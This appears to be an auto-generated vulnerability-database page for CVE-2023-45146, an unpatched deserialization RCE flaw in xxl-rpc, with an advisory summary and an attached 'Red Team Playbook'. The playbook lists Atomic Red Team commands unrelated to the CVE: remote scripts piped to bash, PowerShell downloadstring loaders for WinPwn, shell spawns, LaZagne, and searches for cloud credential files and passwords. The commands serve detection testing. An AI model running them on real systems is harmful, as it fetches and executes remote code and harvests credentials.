CVE-2023-45146
Overview
This vulnerability is an insecure deserialization flaw in the xuexueli xxl-rpc framework, specifically within its use of the Hessian serialization mechanism over a TCP server implemented via Netty. The root cause is the server's acceptance and deserialization of untrusted, maliciously crafted serialized objects without sufficient validation or integrity checks. This affects the RPC framework's network communication component responsible for processing serialized request payloads.
Vulnerability Description
XXL-RPC is a high performance, distributed RPC framework. With it, a TCP server can be set up using the Netty framework and the Hessian serialization mechanism. When such a configuration is used, attackers may be able to connect to the server and provide malicious serialized objects that, once deserialized, force it to execute arbitrary code. This can be abused to take control of the machine the server is running by way of remote code execution. This issue has not been fixed.
Impact
An attacker with network access to the xxl-rpc TCP server can remotely execute arbitrary code on the host system without authentication, leveraging the insecure deserialization of crafted Hessian objects. This enables full control over the affected machine, including potential data compromise, service disruption, or lateral movement within the network. The exploit requires no user interaction and is facilitated by network-level access, consistent with the CVSS vector indicating network attack complexity and no privileges required (AV:N/AC:H/PR:N/UI:N).
Solution
As of the referenced advisory (https://securitylab.github.com/advisories/GHSL-2023-052_XXL-RPC/), no official patch or fixed version for xuexueli xxl-rpc has been released to address this vulnerability. Users are advised to monitor the vendor's official channels for updates. In the interim, restricting network exposure of the RPC service and implementing network-level access controls may mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the XXL-RPC framework stems from its use of Hessian serialization in conjunction with the Netty framework for TCP server setups. This configuration allows for the deserialization of objects sent by clients. However, if an attacker crafts malicious serialized objects, they can exploit this flaw to execute arbitrary code on the server. The underlying issue lies in the lack of proper validation and sanitization of incoming serialized data, which opens a pathway for remote code execution. This vulnerability is particularly dangerous due to its high severity rating, indicating that successful exploitation could lead to complete system compromise.
Attack vectors for this vulnerability are primarily network-based, as the affected server listens for incoming connections over TCP. An attacker could initiate a connection to the server and send specially crafted serialized objects that the server would then deserialize. Once deserialized, these objects could trigger the execution of arbitrary code, allowing the attacker to gain control over the server's environment. Scenarios could include deploying malware, exfiltrating sensitive data, or pivoting to other systems within the network. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability a critical concern for organizations utilizing the XXL-RPC framework.
The real-world impact of this vulnerability is profound, particularly for businesses relying on distributed systems for their operations. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and significant financial losses. Moreover, the potential for reputational damage cannot be overlooked, as customers and partners may lose trust in an organization that falls victim to such an attack. The risk is exacerbated by the fact that the vulnerability remains unpatched, leaving systems exposed to ongoing threats. Organizations must recognize that the implications extend beyond immediate financial loss; they also encompass long-term strategic consequences, including regulatory penalties and loss of competitive advantage.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First, monitoring network traffic for unusual patterns or unauthorized access attempts can help identify potential exploitation attempts. Additionally, organizations should consider employing application firewalls that can analyze and block malicious serialized objects before they reach the server. Regular security assessments and code reviews are also essential to identify and remediate vulnerabilities in the application code. Furthermore, organizations should prioritize patch management and stay informed about updates from the XXL-RPC project to ensure they can quickly address any emerging threats.
In conclusion, the vulnerability present in the XXL-RPC framework represents a significant threat to organizations leveraging this technology. The combination of high severity, ease of exploitation, and potential for severe consequences necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against the risks posed by this vulnerability and safeguard their critical assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Xxl-Rpc Project | Xxl-Rpc | All |
cpe:2.3:a:xxl-rpc_project:xxl-rpc:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-45146 |
| securitylab.github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://securitylab.github.com/advisories/GHSL-2023-052_XXL-RPC/ |
| vicarius.io |
NVD API
|
https://www.vicarius.io/vsociety/posts/xxl-rpc-rce-cve-2023-45146 |